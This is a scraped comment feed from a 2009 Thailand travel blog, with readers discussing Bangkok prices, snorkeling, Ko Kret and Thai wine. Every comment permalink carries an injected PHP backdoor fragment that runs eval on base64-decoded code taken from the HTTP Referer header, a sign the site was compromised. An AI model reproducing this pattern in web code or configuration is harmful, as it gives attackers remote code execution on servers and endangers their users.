Comments for Traveling in Thailand http://suzynam.com/blogthai Things every smart and curious traveler should know Sun, 30 Aug 2009 22:58:34 +0800 http://wordpress.org/?v=2.8 hourly 1 Comment on How Expensive is Bangkok, Part II by thailanddelights http://suzynam.com/blogthai/2009/07/11/how-expensive-is-bangkok-part-ii/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-343 thailanddelights Sun, 30 Aug 2009 22:58:34 +0000 http://suzynam.com/blogthai/?p=362#comment-343 Bangkok certainly isn't a cheap destination, as it's not been for years! When I used to travel here many years ago, I'd stay in Bangers for two days tops! Then I'd hit the road and head up to iisaan where accommodation food and everything else was cheaper. After that I'd just travel those provinces, because I'd be staying in Thailand for two months at a time. I could spin my money out and still have a good time. Just imagine trying to spend two months in Phiket on a budget! Hahahaha http://thailanddelights.blogspot.com Bangkok certainly isn’t a cheap destination, as it’s not been for years! When I used to travel here many years ago, I’d stay in Bangers for two days tops! Then I’d hit the road and head up to iisaan where accommodation food and everything else was cheaper.

After that I’d just travel those provinces, because I’d be staying in Thailand for two months at a time. I could spin my money out and still have a good time. Just imagine trying to spend two months in Phiket on a budget! Hahahaha

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]]> Comment on The Best Snorkeling in Thailand by Jeff Peterson http://suzynam.com/blogthai/2009/07/10/the-best-snorkeling-in-thailand/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-337 Jeff Peterson Sat, 29 Aug 2009 12:31:32 +0000 http://suzynam.com/blogthai/?p=357#comment-337 You are absolutely right. Ko Hae is definitely a must see if you go to Phuket, but there are accommodations there. I spent a week there with my then girlfriend (now wife) back in 2004. There is NO night life and it is very relaxing with plenty of day activities. We loved it so much that when my nephew got married, we sent him there for his honeymoon. Here's the website for the resort (resort might be a little misnamed, but it is nice). http://www.coralislandresort.com/index.html You are absolutely right. Ko Hae is definitely a must see if you go to Phuket, but there are accommodations there. I spent a week there with my then girlfriend (now wife) back in 2004. There is NO night life and it is very relaxing with plenty of day activities. We loved it so much that when my nephew got married, we sent him there for his honeymoon. Here’s the website for the resort (resort might be a little misnamed, but it is nice). http://www.coralislandresort.com/index.html

]]> Comment on How Expensive is Bangkok, Part II by Thailanddelights http://suzynam.com/blogthai/2009/07/11/how-expensive-is-bangkok-part-ii/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-334 Thailanddelights Sun, 23 Aug 2009 00:40:46 +0000 http://suzynam.com/blogthai/?p=362#comment-334 Aaaah I remember my times of traveling this vast land. I eventually threw away my (not so lonely planet) guide book and truly went it kon diaw. I'd ask moto cycle drivers for cheap digs in Thai and visit the lesser known regions of the kingdom through the extensive and dirt cheap bus network. All you need is a map of that network easily obtainable and you can travel the kingdom to your hearts content. Once you live here the magic fades a little though, :-) However those great memories of past seldom do :-) Take the next step and live there! Http://thailanddelights.blogspot.com Aaaah I remember my times of traveling this vast land. I eventually threw away my (not so lonely planet) guide book and truly went it kon diaw.

I’d ask moto cycle drivers for cheap digs in Thai and visit the lesser known regions of the kingdom through the extensive and dirt cheap bus network. All you need is a map of that network easily obtainable and you can travel the kingdom to your hearts content.

Once you live here the magic fades a little though, :-) However those great memories of past seldom do :-)

Take the next step and live there!

Http://thailanddelights.blogspot.com

]]> Comment on Side Trips from Bangkok: Ko Kret by Bangkok hotels http://suzynam.com/blogthai/2009/04/27/side-trips-from-bangkok-ko-kret/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-329 Bangkok hotels Fri, 21 Aug 2009 04:35:39 +0000 http://suzynam.com/blogthai/?p=209#comment-329 Good Story, i want to say that .Ko Kret has prospered since the Ayutthaya period as evident from the many temples on the island that are from that period. However, it may have been deserted when the Burmese sacked Ayutthaya. When Ayutthaya was reclaimed, King Taksin the Great relocated the Mon people who found religion here. The Mon people on the island came during the Thon Buri period and during the reign of King Rama II. Good Story, i want to say that .Ko Kret has prospered since the Ayutthaya period as evident from the many temples on the island that are from that period. However, it may have been deserted when the Burmese sacked Ayutthaya. When Ayutthaya was reclaimed, King Taksin the Great relocated the Mon people who found religion here. The Mon people on the island came during the Thon Buri period and during the reign of King Rama II.

]]> Comment on How Expensive is Bangkok, Part II by Jane http://suzynam.com/blogthai/2009/07/11/how-expensive-is-bangkok-part-ii/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-265 Jane Sat, 25 Jul 2009 02:19:23 +0000 http://suzynam.com/blogthai/?p=362#comment-265 I really appreciate your pointing out how Bangkok is not as cheap as everyone thinks it is. For some reason, the decades old reputation sticks and I can't get people to shake off that notion. I once challenged myself to a 40 baht budget for each meal. If one is willing to go with street vendors, 40 baht is enough to fill the stomach. Personally, I find that breakfast was the better time to do it. I really appreciate your pointing out how Bangkok is not as cheap as everyone thinks it is. For some reason, the decades old reputation sticks and I can’t get people to shake off that notion.

I once challenged myself to a 40 baht budget for each meal. If one is willing to go with street vendors, 40 baht is enough to fill the stomach. Personally, I find that breakfast was the better time to do it.

]]> Comment on How Expensive is Bangkok, Part II by Maurice http://suzynam.com/blogthai/2009/07/11/how-expensive-is-bangkok-part-ii/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-233 Maurice Mon, 13 Jul 2009 10:46:32 +0000 http://suzynam.com/blogthai/?p=362#comment-233 Nice guide. To many people go to Bangkok and just hang out in tourist areas and pay to much money for basic things. Get away from Khao San Road area and explore the city. Nice guide. To many people go to Bangkok and just hang out in tourist areas and pay to much money for basic things. Get away from Khao San Road area and explore the city.

]]> Comment on How Expensive is Bangkok, Part II by Deb http://suzynam.com/blogthai/2009/07/11/how-expensive-is-bangkok-part-ii/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-228 Deb Sun, 12 Jul 2009 00:24:35 +0000 http://suzynam.com/blogthai/?p=362#comment-228 When I visited Korea almost a decade ago (*sigh*), of course I ate in restaurants, courtesy of family and business associates. However, some of the best food I had was on the street and in a mall. I thought I got such a bargain when I got a plate of noodles, soup and kimbap (the original sushi) for under $5. Someone later assured me that I'd been ripped off. Years ago, as a teenager visiting a friend in NYC, some of the best food I ate were the cheap pieces of pizza that cost well under $2 (back then). I'm sure people have wonderful memories of events in fancy, expensive restaurants, but I'll take to the street anywhere. When I visited Korea almost a decade ago (*sigh*), of course I ate in restaurants, courtesy of family and business associates. However, some of the best food I had was on the street and in a mall. I thought I got such a bargain when I got a plate of noodles, soup and kimbap (the original sushi) for under $5. Someone later assured me that I’d been ripped off.

Years ago, as a teenager visiting a friend in NYC, some of the best food I ate were the cheap pieces of pizza that cost well under $2 (back then). I’m sure people have wonderful memories of events in fancy, expensive restaurants, but I’ll take to the street anywhere.

]]> Comment on Thai Airways Offers Free Domestic Flights! by Deb http://suzynam.com/blogthai/2009/07/08/thai-airways-offers-free-domestic-flights/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-218 Deb Thu, 09 Jul 2009 14:14:32 +0000 http://suzynam.com/blogthai/?p=351#comment-218 Sadly, international is out of reach for all of us. However, it's good to know that if I need to pack up those girls some time I can send them over at something of a discount :-) Sadly, international is out of reach for all of us. However, it’s good to know that if I need to pack up those girls some time I can send them over at something of a discount :-)

]]> Comment on Wine Tour Thailand by Suzanne http://suzynam.com/blogthai/2009/06/08/wine-tour-thailand/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-213 Suzanne Wed, 08 Jul 2009 05:25:17 +0000 http://suzynam.com/blogthai/?p=305#comment-213 agreed on that point. thai wine is really still in its infancy. Monsoon Valley is impressive and relatively inexpensive, others are hit or miss. but, the vineyards around Khao Yai are very nice to visit, as is the scenery! agreed on that point. thai wine is really still in its infancy. Monsoon Valley is impressive and relatively inexpensive, others are hit or miss. but, the vineyards around Khao Yai are very nice to visit, as is the scenery!

]]> Comment on Wine Tour Thailand by Maurice http://suzynam.com/blogthai/2009/06/08/wine-tour-thailand/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-197 Maurice Tue, 30 Jun 2009 10:15:23 +0000 http://suzynam.com/blogthai/?p=305#comment-197 I went on a local wine tasting day just outside BKK and I have to say the white wine was bad but the red smelt of petrol and tasted the same. It was possible the worst wine i have ever had and it was expensive, sad to say Thai wine is not as good as their food or whiskey. I went on a local wine tasting day just outside BKK and I have to say the white wine was bad but the red smelt of petrol and tasted the same. It was possible the worst wine i have ever had and it was expensive, sad to say Thai wine is not as good as their food or whiskey.

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